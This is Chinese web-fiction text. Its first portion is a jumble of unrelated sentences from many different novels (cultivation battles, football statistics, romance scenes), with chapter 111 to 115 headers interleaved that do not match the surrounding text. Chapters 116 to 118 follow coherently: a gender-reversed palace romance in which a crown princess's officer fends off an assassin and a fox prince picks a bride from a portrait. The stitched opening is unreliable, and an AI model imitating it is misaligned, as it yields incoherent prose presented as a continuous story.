无论选择哪条道路,是否进行偷渡,对于那些被拒签的流民而言,都是一条凄惨悲凉的伤心之旅。一半以上的流民,尤其是那些老弱病残者,将会饿死、冻死、累死在艰辛无助的死亡旅途中。
阿方索斯。萨尔瓦曾告诉赫鲁纳公爵说,原属葡萄牙王国最东面城市的巴达霍斯,在被西班牙占领之前,就是天然橡胶在欧洲最大的交易市场,他从马德里购买的橡胶大都来自巴达霍斯。
这如哭如诉的叹息,让方浩全身巨震,这一拳就没有力道继续打下去了,只能僵在哪里。
第一卷 第111章 谣言溟汐被罚两天
岚州处于大凰王朝领土的最北方,常年积雪不化,最常见的风景就是连绵起伏的雪山。
风萧萧思绪万千,但他却使终没有想到,这场帮战,居然从此就再也未在他眼皮底下出现过。
我和海洋傻眼了,就是长不到五厘米、宽不到两厘米的火焰???这个,这个,在战斗中有什么用?给没带打火机的敌人点烟用吗?
“难道这是神王的剑式!”见到朱丹一剑无敌,许多人都不由为之变色,朱丹的手段,太出于他们意料了,一动手,姬骁鹏就吃了两次亏,这手段太逆天了,谁都没有想到。
却见飞云一打手势,停止了众人前进的步伐。风萧萧以为他要出手了,但他只是又狠狠地瞪了几人一眼,忽然一蹬地,身子飘起,再蹬一脚身旁的树干,几脚下来,跃到了树顶上去。
当然,这是按照欧洲大陆式的算法,如果按照英超的习惯,shè门后补shè算助攻,造点球算助攻,发起反击的倒数第二传也算助攻的话,兰帕德是二十六个助攻,亨利是二十四个助攻,赵亚宁则是只有二十三个助攻。
挂掉海洋的电话,打电话给哥哥的那些哥们之后,我真有晕死过去的冲动。
“还有内情不成?”朱丹听到这话,不由为之一怔,从记忆中了解到,当日朱丹因为沈依真,与龙剑君一言不合,就动起手来,最后败在龙剑君手中,被废掉兵魂,说起来,就是因为争沈依真。
先出手的是一剑冲天,他左步向前踏出,右手轻飘飘地拍出,左手藏在腰间,也是蓄势待发。
炙焰居然特委屈的看了我一眼,没出声的坐了下来。狐狸倒是给月翼面子,不再对伤害他法拉利的凶手夹枪带棒了。
萧如玥直接反问:“娘,您希望儿媳在哪个角度看?”佟家?皇甫家?亦是凤国?
这执法堂乃是玄门之中专门约束门人弟子而成立的,以及施加所设之地,通常弟子犯了错都会到执法堂领受惩罚,而被收押则是因为犯下了极大的错误,须得宗主的同意,执法堂才可收押。
吱吱用爪子抓了一把顾清宛刚挑拣好的熟透的八角,有了上次辣椒的教训,这回聪明的将八角先放在自己鼻子下面闻了闻,有点香喷喷的,然后冲着顾清宛‘吱吱’的叫着,像是在问这东西能吃吗?
烧灼,伴随着剧痛,罗迪克一瞬间甚至怀疑自己的牙齿失去了咬合力,不仅如此,电光甚至在他全身蔓延,他浑身无力,手中抓不住那练气中期的修士,失血过多的修士,倒在地上时几乎只剩下一口气了。
傅肆看她在不同的矿洞里走来走去,一副巡逻的模样,但目光中有考量之色,显然在寻找什么。
莫晓脚步不停,并不搭理,。但是耐不住宋先生腿长,几步就赶上来了。
夜三亲自端茶进来,但因为茶是晓雨晓露去准备的,所以还细心的附带了两样糕点。
“儿臣明白父皇,军有军规,国有国法。军规不可违,国法不可废,儿臣但求父皇将所有罪责让儿臣一人担下。”公仪无影神色无惧。
第一卷 第112章 寻摸成婚对象
“羲羲,你就喜欢逗我开心。”
溟汐嘴上是这么说,看似抱怨,实际上只是小情侣打情骂俏的小把戏罢了。
溟汐痴痴看着镜中女人,深深觉得,这一次跟着君羲来漾州真是来对了。
果然,两个人独处才有更多机会增进感情~
“主上不是要你解释,而是要结果。”虚影没有给魔天解释下去的机会,直接开口打断道。
有了敛息符箓遮蔽他的身形,只要不是过分逼近到那地榜修士近前,云羽有信心不被对方提早发现。
碎石乱飞,两道身影狼狈的跌落在地上,鲜血从赵铭口中喷了出来,随后剧烈的咳嗽着,鲜血吐的满身都是,身体就像散架了一般,也不知道断了多少骨头,身体动一下,都是疼痛难忍,眼睛一黑,昏了过去。
高木将断掉的刀刃接合回去,那黑曜竟然有着自我修复功能,似乎是其中的血咒在起着这种神奇的作用。
十数日之后,云羽再次现身于五名修士所在洞室,安抚了一番众修后,再次闪身出离了玄龟壳洞府,出现在了冰海之内。
平复了心情的樱间抬头望向神刚刚创造的天树,从这儿应该可以通往悬崖上方,到了那就能穿过门回到原来的世界,这边已经没有继续探索的价值,相比之下,她更担心沐枫夜现在的安危。
众人顺眼望去,有人在看到赵铭后直接无视,抬头看向天空,不明白灰塔为什么无故消失,而有人面露迷惑,有人目光闪烁,有人却是目光阴沉。
我靠!这手感不对呀,怎么感觉毛茸茸的,一瞬间我自然反应怕了一下,在未知的情况下,如果手抓到一个让人手感不对的东西,都会不禁心中发毛。
说罢,其手上一挥,一块白色玉牌向云宇飘来。眼见脸前白光闪耀,似乎在物体在靠近自己。
但是离开后山,踏上这次京城之行的途中,骆天在见识了龙浩、雷动强大的武力甚至是火木的木字诀念力后一直都在不自觉的琢磨这个问题,很怕自己因为实力不济被别人砍了。
昨日他与渠王已经有了商议,今日早朝联手斥驳晋王,势必要把他彻底打下悬崖。
尽管并未受到实打实的伤害,但这一剑却让他的身体失去平衡,猛然间顺着惯性摔了出去,直到撞到一根柱子才停了下来。
“不认识!”这是她替般若寻回的玉镯,也是因这个玉镯,她将般若收服己用。
渐渐地,场中争斗的修士越来越少,地上多出了十几具尸首,在场数股势力分别占着一个方位,空悠门被挤到了最外,血湖庄的修士则离那洞窟最近,占据了最为有利的位置。
“萨司令,如果把那款轰炸机投入到海战,您想会怎样?”陈宁问道。
:“那里,自己直走过去就是了。”董占云径直走到一处紫金门,一个身体庞大的灵兽驻扎在那里。
旋转着的气柱轰然落下,那些紫意连绵、气势如虹的刀光剑影,瞬间被冲散,就像是涛浪中的朽木一般,一下子就没了踪影。
就连猪兄,也达到了二星武帝境!其中修为最高的,还是要数灵靖和野莽,这两人修为都达到了四星武帝!
彭昊走后,彭墨坐立难安,一双手攥了松,松了攥,或许自己太过鲁莽了?应该好好筹谋一番的!金睿必定万分重视那本账册,三哥一人前往可能应付?前世金睿告诉自己的又是否属实?
第一卷 第113章 姐姐,欢迎回家
远在南方漾州的君羲还不知道她的未婚夫已经在想着给她带绿帽子了,她正和溟汐享受难得的二人独处闲适时光。
没有倭寇,也没有朝事纷杂。
只有一望无际的大海和每日升起的和煦阳光。
黑影似乎没想到唐建成会这么不顾形象地大喊大叫,微微愣了一下,才再次猛追过去。
车子缓缓往前开,邻居们就跟着车子走着,然后隔着窗户跟唐建成聊天。
说来也怪,活塞队只排在东部第十的位置,却有两名球员入选了全明星替补席。
她现今能这么如此挥霍,全都是因为她在三年前的某一天,阴差阳错的救了沈醉欢。
毕竟在这个地方,除了他们两个确实是没有人可以压得住马超的。而且以马超的脾气,指不定会闹出什么事情来。
“你他妈的还说不知道?”蔡武明愤怒的抓着他的头发,如拎鸡一样提起,在狠狠的将他的头砸在玻璃茶几上。
别人的笑话很好看,万万没想到,笑话看了一半,家被偷了,自己也沦为了笑话。
果然,那么明显的一排人。屋子里面还有人影在动,吕布直接就冲过去一脚将门踢开。
阿丽玛听了脸上笑嘻嘻,眼神却变得冰冷,昆仑奴的流星锤也越发疯狂有力。陈长安却丝毫不惧,打不过你,我还不能骂你两句出出气了?
这次面试,也足够改变辛宗佑最初的偏见,让他对她的看法产生了微妙的变化。
想着舒佑仁虽然话多,但他在改变,以前说话傻兮兮,还流口水,如今都好多了。
他的腿向后轻轻的一勾,另一只手反手扣住了那人的肩膀,一用力把他甩在了地板。
叶安安无奈的叹息一声,总不能她和洛英琪留这吧,只好歉意的道:“那学姐我等下来换你”。
宍戸亮和凤已经热身回来了,亮看了眼场上的比分再看着倒在椅子上睡得很爽的慈郎露出了一丝微笑。
就像现在,看,在她需要他的时候,他还是干净的,是完整的,可以问心无愧的去守候她,安慰她,给她承诺。
就在这时,紧闭着房间大门悄然打开,一束刺眼的光芒随之照进来,刺得罗宾与波尼斯均是闭了闭双眼。
“哈哈…说不得怕与不怕。”石之轩没有回答,只是神情自然的笑了笑。
就算李易杀得了夏洛特·玲玲,也会落得一个杀敌一千自损八百的绝境。
或者回去泡个舒舒服服的热水澡,倒在床上睡一个足足的大头觉,明天可以不用早起了,开心。
她伸出手,轻触到了那页面,一道只有夜神月才能看到的丝线连接到了她的手上。这代表着,被收服。
这些人俱都是修为精深之辈,旁观的妖精全都插不上手,一股股的凌厉气息弥漫开来,相互交错撞击,许多妖精被那交织而出的气息碰到,全都化成了飞灰。
倪多事瞧那石台上热闹非凡,在这妖精间奔行,外围的这些妖精全都是来看热闹的,并非万妖岛的主要人物。
贪狼死士他的技能情报,自己从风影叔叔那里已经知道不少,他是进攻型的,旁边那个工部中士是没武功的,贪狼死士是保护工部中士的,工部中士在画什么地图。
广色尊者见一壶酒喝完,翻开食盒,将食盒的夹层拿起,从中又拿出一壶酒,一碟菜肴来,这一碟菜格外精致,是用一条大鱼做的,鱼头摆在盘中一角,鱼片摆成扇形,像极了孔雀开屏,鱼肉上汁水淋漓,散发出阵阵的香气。
风雪落在徐淖和皇甫熙的身上,与他们滚烫的肌肤接触,瞬间便蒸成水汽,与此同时,他们的体温也在急剧降低。
如果说,羽之御是能够正面抵挡住数百元素风暴和法则之力的物理类防御之巅峰的话,百时就是能够抵挡住大部分精神力与神力攻击的魔法类防御的巅峰了。
中年人朗声说道:“大楚煌煌,地幽为长!千年来,地幽攻伐无数,退流沙邪修于荒野,保楚国臣民于无伤,扬地幽之威与四方。
看来那那团脂肪并不是白长的,吃了这么多的营养全部都转移到了固定的地方去了。
他峭立半晌,凝望夜空,天上繁星点点,阵阵晚风吹过,身上略有一丝温暖,这时已是春天,万物复苏,树上嫩芽抽绿,鲜花点缀在青草中,花香夹杂着绿草的清香,扑鼻而来。
别人修炼一千年达到人元境的巅峰,心境修为当然够用了。可是你们这些超级天才,动不动五百年六百年就修炼到了人元境的巅峰,想要把心境修为也提升到同样的层次,哪是那么简单?
唰唰眨眼间,刚才没有任何生物的街道上出现各种各样的人物。然而那些人是虚拟的,她可以从他们的身体里穿梭过去。
上官紫璃想了想。咻咻的办法有些冒险,但是却是目前唯一的办法。到底能不能行,也只有试试才知道了。
可是事实上的话,拥有混沌体质的修士,绝对少的离谱。而混沌体质,之所以被称之为被诅咒的体质,往往就是因为低境界的混沌属性修士如果激活了混沌属性的机缘的话,九成九就是个爆体身亡的结果。
这位太子爷不是明明在皇宫中出去后就直接回太子府了吗?看来是他吩咐人去办的。
秦萧也知道丹尘君是开玩笑的,两尊四步天神的傀儡他并不会看在眼里。
“轰隆!”沉闷声响之中。金人连人带刀化作金光向后倒飞而去,这一飞就飞出了五百丈,之后落在了擂台上,轰鸣作响。
这段时间浑浑噩噩的生活,让杨星过的生不如死,他真的不喜欢这样,但又不得不这样。
第一卷 第114章 我还能干
三人的站位有些特别,东方炽和东方凌二人站得比较近,纳兰轻尘则是抱着剑,离他们二人较远。
偏偏三人的容貌在围观的群众中非常亮眼,君羲在人山人海里,一眼便看到了来替她接风洗尘的三个未婚夫。
“阿汐,我们下去吧。”
溟汐在心里遗憾,再怎么不舍……同妻主的二人美好时光也结束了。
“两位才是真真英雄出少年呢。”举着自己手中的红酒杯,泰勒的语气听着像是在夸奖,可又带了一丝嘲讽。
一阵后撤停战的鼓声响起,远征军各兵种开始撤离,一直撤离到金色重甲后才停止。
他身边,青薇仙子突然发现自己只是分神片刻,视野之中便已全是飙射而出的妖血。
却突然发现余青薇嘴角微微翘起,顾凝霜则黛眉微皱,有些不喜。
凌羽卫全是炼神境的修真者,身上带着隐藏身形的符篆,类似于田茂的那种。一般的域境强者很难感受到他们。
这不,三公主眼瞅着自己想杀的人被救了,那一股子气没发泄出来,脸上寒霜便又多了一层。
江殷王见识了他的才能后,心中大喜,便让他留在自己身边,往后荣华富贵都要与之同享,傀师甚是感激。
“很麻烦的麻烦……而且,似乎已经躲不掉了。”白曙看着左前方,两道人影走了过来。
白曙他们离开了家,她是知道的,她很开心,因为这样她就可以不用心白曙对她做出什么丧心病狂的事情了。
稍微修整之后,六个门派的修士便在灵曦子的带领下往相邻的正东战场急急赶去。
他、肖鑫、岚澜还有肖海他们是一起长大的。他们四人之中,只有肖海和肖鑫是亲兄妹,但他们四人却亲如家人。
路飞抬起手来,龙气缭绕,形成了一个能量球不断的旋转着,指向李朝淡,秦百灵没有说什么,李朝淡的为人她清楚,并没有阻止路飞。
白彦临走前吩咐了周妈,不管暮欢灵什么时候起,一日三餐必不可少。周妈知道暮欢灵现在特殊,更是不敢怠慢,准备了好几样吃食,又煎好了药,给暮欢灵端过去。
向蓝并不理她,开始准备游戏,那些人喜欢刺激,在场的男的都报名了。
可惜了,这么美妙的身材,以后不知道哪个男人可以享用到,想想就让人感觉羡慕。
难得他会用商量的口气,居然在征求她的同意,“什么意思?”蔓筠问。
他轻轻走到她身边,一手环了她的腰,一手则捏了她的下巴,缓缓抚弄。
“雪妍,可是我……我的眼睛现在真的看不到了,”我的声音也有点哽咽的说着。
我也隐约的回想起来了,那时候我跟沈灵敏的第一次做那种事,就是赵梦玥带着我去乡村治病之前的时候。
我听到了丁大帅这样的夸奖,我的心里真的是一阵高兴,没有想到我自己匆忙之间做出来的决定,竟然得到了丁大帅这么高的认可。
“哼!杜壆你算什么东西,竟敢叫我们兄弟卖你一个薄面!”段五斜眼看着杜壆,冷冷的说道。
“有没有什么办法能够停止他们灵魂之力的不断丧失?”一号问道。
并不是这个时候萧莫什么都不说,而是萧莫不知道自己应该说些什么。
“现在才想到逃跑吗?似乎是晚了一些吧。”东方晓屈指一弹,一股强大的寒冰波动瞬间便赶上了那刀疤男子,像它的一条腿给冰封了起来。
第一卷 第115章 找个贴心人成婚
君羲真的很想笑,笑君明月狗急跳墙,手段幼稚。
这屋子是沈修则的,沈修则怎么可能没有钥匙,我拿过来旁边的椅子,直接斜斜的抵在了门上面。
其实我真的有点失望的,因为如果我一早就知道沈佳寒是被人下药的话,我或许不会那么的抗拒。
而且进入了私人会所后,再次进入地下拳击馆时,最多就只能带一个进去,或者是保镖,或者是情人,因为里面相对来说,容纳不下现在蜂拥而入的那么多人,保镖就留在外面了。
不知道为什么,当我听到“千魂鼎”这三个字的时候,心里面莫名其妙的就把它和千魂尸联系在了一起。
以谛听之力,却从这儿听到了百年孤独。皇者及巅峰,都是如此。
我躲避着,可是他紧紧箍着我,我避无可避,反而被他拉着倒在他腿上。
当即身上尸气狂冒,尸气凝成黑丝,如同触须一般向周宗行追去,周宗行看着漫天弥漫而来的黑丝,毫不迟疑的身形一晃,长枪一卷,尽数把黑丝卷入枪势之下,再猛的往地下一压,黑丝亏溃断的一干二净。
其实张凡真的不适合再出手,灵力的恢复本来就处于负增长的状态了。
丽娜听了,暂且安耐住一颗浮躁的心,渐渐的困意上脑,闭上眼睛,寻了个舒适的姿势躺在沐云怀里。
勾了勾唇,轩辕彻也暂做不见了,而心里却已经做了决定,回头就让人仔细刨底的查一查这位容嬷嬷。
“想逃?太天真了!”那为首的痞气青年林志,见到叶凡逃跑,嘴角讥笑更浓,他招呼起旁边的同伴,向着叶凡追了上去。
可见,有身份的高位妃嫔通常皇上都不会给她们太多孩子。出身显赫的再多子多福,这后宫还能稳当吗?
为官之道,有了重大问题,第一件事就是要立马上报。也许上报了还是会受到惩处,但不上报的后果你绝对承受不起。周泰也不憨傻,当天便派人六百里加急传报幽州,请求田军师速发援兵。
而林若雨不同,她一个寒冰箭,冰锥就能对这个重甲枪兵造成1500+以上的伤害,所以只能循环的攻击怪物,要么直接爆炎术,冰爆术猛轰然后我放大招,再次拉回仇恨,一转一移,两人之间的配合相当的默契。
普通春药已经很难熬了,更何况这是普通人的三倍,而且还加了些许的兴奋剂。
我默默无语瞥了他一眼:他立在那里一动不动,你哪只眼瞧得出他厉害。
洗完冷水澡后,他腰间的某物依旧没有下趋的气势,反倒是比刚刚还要高了。
这分明是在给台阶下了,刘慧芳哪能不受,当即浅笑回应,便与苏静卉一起将带来的篮子里的祭品一起摆上。
正堂木桌上的七个灵位让他发愣了好久,虽然不知这些灵牌是谁的,但他还是拿起桌子傍边的香一一的祭拜了下。
忽然伴随着一阵令人倒牙的声响,在那片“黑暗”中忽然裂开了几道缝隙,从缝隙中有亮光逃逸出来,缝隙好似在“黑暗”中打开了一道门,门落下亮光彻底透出来,那居然是落下的一道木梯。
第116章 你也配?
暗巷深处的酒肆中,君需同老板喝得尽兴,推杯换盏间,谈天说地,好不快活!
你就是不足百米远的暗巷,却是尸体散布,断肢残骸掉落一地。
凤染正在尽心尽力善后,收拾尸体。
“惹到殿下,你们也算是倒了血霉了,下辈子投胎记得长点眼,别惹不该惹的人……”
他一边嘀嘀咕咕,一边从怀中拿出杀人灭口必备的化尸水。
瓶口倾斜,仅仅三两滴化尸水便将尸体化成一滩血水,渗入土壤中,消失不见。
“我们太女殿下也是你们这的潇洒配刺杀的?”
太女殿下难得今天心情好,还肯破费请她喝酒,她可不能在这里被一具尸体耽误了。
“哼哼~”
欢快不知名的小调在她口中哼出,旁人能够清楚感知到凤染的好心情。
“老妹,这是谁?”
君羲介绍。
“姐,这是我一个朋友,他性格大大咧咧,做事容易冲动,若是冲撞到了你,还请见谅。”
君羲简直恨铁不成钢,都说了是来喝酒的,怎的还将自己搞得有些狼狈?
盔甲和内里有多处被刀剑砍破,脸上还沾着灰,看上去便风尘仆仆。
凤染摸了摸鼻子,的确是她考虑不周了!
“姐姐们,是我行事莽撞了,自罚三杯作为赔罪!”
君羲打趣。
“什么自罚三杯?我看你便是馋老板的酒了吧!”
“哈哈哈,果然是好酒!老板和老板娘好手艺,住在这一带的人真是有口福了。”
院中的几人都不是什么别扭小气的人,一番打趣,再加上推杯换盏,很快便混熟了。
君羲领着喝儿醉醺醺的凤染离开时,老板还硬要送给凤染两坛酒,说是让她带回去给家中兄弟姊妹们尝尝。
却不想,她刚扶着凤染走出暗巷,便在暗巷口见到了一个意料之外的人。
由于夜间风凉,男子披了一个薄薄的蓝色披风,长身玉立的绝美男子手提一盏八角灯。
“羲羲,总算等到你了。”
君羲慌了。
论……和属下找朋友喝酒,喝得烂醉,被心爱的男子逮个正着,该怎么办?
虽然君羲最开始的目的是解决君明月派过来的杀手,她也是临时起意,才想到暗巷中的老朋友。
但不知为何,在溟汐关切的目光下,君羲心中有点慌,她摸了摸鼻子,丢下凤染,去接溟汐手中的灯。
“哈……哈,阿汐,孤只是一时贪杯,答应你的都没忘记,放心吧。”
溟汐皱眉,怎么喝得这样多?
女人刚刚靠近他五步范围之内,他便闻到浓郁的桂花酒酒气。
“羲羲,下次可不许这样了,你一个人喝醉了在外面多危险,别让我担心……好吗?”
躺在地上被迫感受地面冰凉的凤染举了举手,彰显自己的存在感。
什么叫一个人?他难道不是人吗?殿下还带着她呢!
君羲没眼看,反正凤染皮糙肉厚的,内力也是和她如出一辙的阳刚热烈,在这里躺一夜,不会出任何事。
“别挂她,我们回家。”
太女殿下原来是这般见色忘义之人吗?凤染满头问号,举起的手又缓缓落下,眼神中还带着难以置信的迷茫。
他就这样看着,默默地看着……
直到原地只剩他一人半躺在地上,君羲和前来接她回家的夫郎走远了,连背影都看不到了!
凤染这才慢吞吞反应过来,她应该是被殿下无情地抛弃了!
“喂,你、你还好吗?”
凤染心中还来不及感伤殿下和她的塑料姐妹情,便听到一旁传来怯生生的询问声。
她转头一看,是个长相可爱的男孩子。
她看上去年纪很小,穿着洗得发白的单薄衣衫,明明自己都被冻得嘴唇发抖,却还有善心关注她这个陌生人。
“我还好,没事儿。”
“哦……那、那你需不需要我帮忙?”
凤染摇了摇头,那男子便听话地站起身来准备走,走出凤染视线范围外之前,凤染猛地瞪大了双眼——
是杀手!
那柔弱男子。背过身后,一改方前的柔弱,袖中滑下一柄泛着寒光的有毒匕首,在月光下,举起刀刃。
蹭——
刺耳的刀剑相接的金属轰鸣声在耳边炸响,柔弱男子咬牙切齿。
“狗太女,让你伤害长卿哥哥!去死吧!”
凤染心想,怎么来的就这么不巧?
刚好,太女殿下已经和夫郎回去了,正在享受快乐的二人夜生活。
而她……被太女殿下和汐公子狠心丢下不说,还在这里苦逼地作为太女殿下的替身,同前来刺杀的杀手打生打死。
凤染只是在心中吐槽,手上的动作却是半分也不犹豫。
幸好太女殿下不在这儿,就由他来代替太女殿下承受暗杀吧!
“你也配?”
凤染冷嘲热讽一句,那柔弱男子偏圆的眼睛瞬间更大了。
“我不允许你诋毁长卿哥哥,长卿哥哥是我见过最善良、最善解人意的男子。”
“哦,你口中善良的长卿哥哥现在怎么让你孤身一人前来报仇?就不怕你一不小心死了?”
天下谁不知道,太女殿下武功盖世,从小到大经过的刺杀大大小小、不计其数。
但最后活下来的人只有太女殿下,她的敌人全都死了。
这种情况下,他不相信沈长卿不知柔弱男子这一趟前来极有可能有去无回、凶多吉少。
柔弱男子红了眼眶,不要命地拿着匕首往凤染身上扎。
若不是他扎得毫无章法,凤染也不至于这么头疼。
凤染动手了,他动手可就不像柔弱男子动手一样和风细雨了。
“行了,别哭了,本副统领又没有对你做什么,哭什么哭?”
柔弱男子此刻双手被牢牢捆在身后,身上的所有东西全都被搜走了,自救不了一点。
他听说过那些落入女子魔爪的男子最后是怎样失去清白、凄惨而死的?
一时之勇过后,越想越害怕?
“你杀了我吧!狗太女!我做鬼也要缠着你!让你睡觉都不得安生。”
“闭嘴。”
“许你们自己做坏事,还不许旁人说了?这不是做贼心虚、是什么?你管得着我?”
凤染忍无可忍,飞快内力传音一句。
“我可不是太女殿下。”
……
第117章 不许给别人
什么?
柔弱男子瞪大了一双微红的眼,挣扎的动作也不自觉停了下来。
凤染说这话时,神色不似作伪。
苏亿安呆住了,难不成真是他认错了人,搞了这一出乌龙?
但是……
坏人都不会说自己是坏人,说不准眼前这个女人就是个骗术高超的骗子呢?他绝不能掉以轻心。
幼时,苏亿安走投无路,在一个雪天险些被冻死。
是沈长清救了他,并给了他一两银子,正是这一两银子让他有了活下去的机会。
所以纵然沈长卿自己都忘记了曾经救了一个雪地里险些被冻死的小男孩,苏亦安也不会忘记。
就算后来阴差阳错下,被人拐进了玉树馆,成了一个清倌,他也没有忘记沈长卿的恩情。
苏亿安听说太女殿下去了漾州,血洗两州官场,沈家也跟着遭了殃,沈长卿还被迫嫁给了已经伏法的安王。
如今也不知到底如何了……
苏亿安心中很是担心,这才买通了玉树馆中的护卫,私逃出来,就是为了找到沈长卿,以报当初的救命之恩。
而这个将他绑起来的女人,口口声声都是对沈长卿的污蔑。
苏亿安想了一圈后,成功避开了正确答案。
“我才不信!”
“呵,你个男子还挺有劲儿,属牛的?”
别看苏亦安长得一副正太模样,看上去温温柔柔、可可爱爱,但实际上却是一个一点就炸的鞭炮性格。
“我属你娘!”
苏亿安这么一闹,凤染七分醉意只剩一分,她眯起眼审视苏亿安。
“谁派你来刺杀的?沈长卿?”
苏亿安咬牙,一双清亮的眸跟盛了火焰一样。
“没有谁派我来!全都是我自己擅作主张!”
“你以为这样说变回信吗?我看你是不到黄河心不死,不见棺材不掉泪!”
太女殿下可是有许多新鲜的刑罚能够让人求生不得、求死不能,恨不能一刀痛快了结自己。
凤染骨子里可不是什么传统意义上的正派好人。相反,她为了太女殿下的利益能够不择手段。
“有没有幕后主使可不是你嘴巴一张,说说就能算数,等回了玉京城,本将军自然有的是办法让你吐出来!”
苏亿安还想在闹,凤染一个手刀下去,人就昏迷过去了。
凤染觉得这件事情很不对劲!她是武将,脑袋里没有那么多弯弯绕绕,更不懂玉京城中的阴谋诡计、波谲云诡。
她决定将苏亿安带回殿下院中,这种费脑子的事情就让太女殿下处理吧,她只需要听从太女殿下的命令即可。
而此刻……
凤染心心念念的太女殿下正在同溟汐讨巧卖乖,起因是溟汐看她喝得烂醉后,有些小生气。
虽然没有过度的冷着脸忽视君羲,但溟汐提着宫灯在君羲身旁,既不亲近,也不疏远,就这么淡淡的,再也没有平日里的半分粘人,君羲不习惯了。
小鱼破天荒不见人了,看来是真生气了。
“阿汐,孤就是一时没忍住,你别生气了?好不好?”
溟汐气哼哼,却还没忘记将宫灯举在君羲面前,为她照路,免得某个女人喝得烂醉后,看不清脚底下的路,摔个狗吃屎。
“羲羲,你分明就是蓄谋已久,喝个酒连家里有个夫郎在等你都忘记了。”
君羲不好意思地摸了摸鼻梁,冤枉啊,她真的没忘记溟汐。
她心里一直记挂着溟汐,还寻思着将老板送自己的三坛酒分一坛给溟汐,一同在深夜品鉴呢。
“阿汐,孤哪有?”
“阿汐长得英俊,性格也十分合孤心意,孤怎么舍得让心爱的男子独守空房呢?”
这些话听起来有些过分甜腻,但对于处于热恋阶段的溟汐和君羲来说却是恰到好处。
男人嘴上说着不在意,但心里却是消了大半的气,嘴角也不自觉地往上扬。
羲羲说要陪他诶!
“花言巧语。”
君羲厚着脸皮提着三坛酒快步走到提着宫灯的溟汐面前,晃了晃,另一只手举起三指,做一个对天发誓的动作。
“句句属实!”
溟汐忍俊不禁,哪有人发誓发的满眼迷醉,看上去一点晕晕乎乎的?
好听的话谁都愿意听,谁会不喜欢毫无保留的偏爱?
“行啦,行啦,我知道了,你快别倒着走路了,待会儿摔倒了可怎么好?”
“孤才不担心呢,有阿汐在这里,绝不会让孤摔倒的,孤相信你。”
溟汐三步并作两步,上前一把按住还没醒酒的女人。
男人将手中的宫灯调转了一个方向,递给还处于懵然状态的女人。
“拿着。”
君熙喝多了酒,此刻酒劲上头,思维迟缓了些,她有些不明白溟汐此举何意,疑惑地歪了下头。
“为什么?”
溟汐该死的觉得冲着他歪了下头的君羲可爱到爆炸,好想抱着她亲一口!
“当然是为了背醉鬼回家。”
说着,溟汐便蹲下身来,示意君羲上他的背。
君羲一开始义正言辞拒绝:
“不行,孤堂堂女人,怎么可以让夫郎背我?”
后来君羲趴在溟汐宽阔的后背上,手上提着的宫灯在二人眼前晃荡。
微黄的烛光替他们照亮了前路,君羲舒服地眯着眼睛,嗅着男人身上特有的海盐薄荷清香。
君羲:孤承认,之前的否决实在是太果断了些。
事实证明,没有人能够逃得过真香定律!
“阿汐,你真好。”
趴在男人背上有种特别舒适安心的感觉。
溟汐走得很慢,但还是避免不了轻微的抖动,这种轻微的上下抖动,非常地让人困倦,君羲嘟囔了一句,就睡着了。
“羲羲,羲羲……”
睡着了啊?
溟汐改单手背着人,另一只手去拿女人手中攥得紧紧的宫灯。
“羲羲,待会儿可不能怪我哦,是你自己喝醉了要跟我走的。”
城主府,君羲暂时落脚的院子,已经有奴仆贴心地准备好洗漱需要用到的热水、香皂、帕子。
“殿下……”
“小声些,别吵醒了她,这里有本夫一人足够。”
正好,上次哭出来的蓝色珍珠有多余的。
溟汐想了想,还是从锦囊中拿出五颗珍珠,谁知刚捏起珍珠想要送出去,便听到了君羲委屈的声音。
“我的,不许给别人!”
溟汐讶异,他还是第一次见君羲这般小孩子气的委屈模样。
君羲最在乎的便是面子,此刻君羲的情况明显不对劲,溟汐一边安抚着怀中气鼓鼓的女人,一边吩咐仆从赶紧下退。
“你们也辛苦了,都下去休息吧,本夫照顾妻主就可以了”
……
第118章 她就是本王的未婚妻?
“王爷,这已经是属下找过来的第一百零二个女子,你若再看不上,属下也没有办法了。”
狐一就知道,王爷就是个眼挑的,寻常女子根本就入不了他的眼。
涂山烈在狐一看来,就像性冷淡。
别的王爷同他一样年龄时,孩子都能打酱油了,他们王爷还孤寡着,甚至用严苛的时间来规范自己。
什么时间该做什么事?每一件事又应该用多少时间?都规划得清清楚楚,几乎从未做过出格的事情。
情爱是什么?
不重要。
涂山烈眼里只能看到狐族基业。
涂山烈也有些头疼,他本以为这是一个非常好完成的任务,谁知道事情却卡在这里快一个月了,也没得到一个满意的结果。
他背靠在扶手上,伸手揉着太阳穴。
“行了,本王知道了,你下去吧。”
狐一有些破罐子破摔了,他宁愿去搞高难度的刺杀,也不愿意东奔西走,去寻找王爷自己都没有一个具体标准的女子。
真的是太难伺候了!
他直接从怀中拿出一幅画像,恭敬的双手呈上。
“王爷,卑职手中有一幅画像,您不如看看画像上的女子您可喜欢?”
涂山烈闻言,睁开眼往下扫了一眼。
本来是不感兴趣的,他连真人都懒得去看,谈何去看一幅画像?
双手按了按太阳穴,他心中叹了口气。
罢了,反正这事一时间也没个结论,也没有头绪去解决,倒不如顺其自然。
不过一幅画像而已,看便看吧。
泛黄的卷轴缓缓打开,画像上是一个面容稍显稚嫩的女子,看上去不过才双八年华,确实眉目坚毅,容颜如画。
她手中拿着双刀,眼中透出来的凌厉和杀意似乎能透过画卷直逼他的心底。
涂山烈本就喜欢和他旗鼓相当的女子,画像中女子同旁的狐族女子截然不同的眼神,一瞬间就抓住了他的眼球。
涂山烈心中有些意动,喉结微微滚动,捏住画轴的手指略微发紧。
“狐一,就她吧。”
狐一嘴角抽抽,谁能想到自家王爷在看不上一百零二个女人后,他破罐子破摔纯属拿出来恶搞的画像居然入了王爷的眼呢?
他错了,他真的不该因为一时不愤,便拿出这幅画像交差。
“王爷,恐怕不行……”
狐一欲言又止的样子让涂山烈误以为是这女子开出的价码太高,狐一认为不值得。
他略微思索了下,想要找到一个合他眼缘的女子实属不易,如今,好不容易千挑万选出来了一个。
就算条件苛刻了些,只要不超出他的心理承受范围,他便可以通通满足。
涂山烈想到这儿,对狐一开口道:
“是那女子提出了什么过分的要求吗?说与本王听听,看是否能达成合作。”
狐一这下后背是真的直冒冷汗,他要怎么开口跟王爷解释画像中的不是别人,正是他一心想要制造成亲对象,想要退婚的大凰储君——太女殿下。
他就不应该做这个事,拿出这幅尘封已久的画像。
狐一欲哭无泪,这幅画像还是当初涂山靖算计他们王爷成为联姻对象时,大凰王朝前来下聘礼的官员,拿来封存的画像。
原由头是让他家王爷对着君羲的画像,日思夜想,最好是每日焚香侍奉。
涂山烈需时刻谨记,自己是有妻之人,不要在外沾花惹草,平白惹太女,殿下不快。
“咳、咳……”
“病了?”
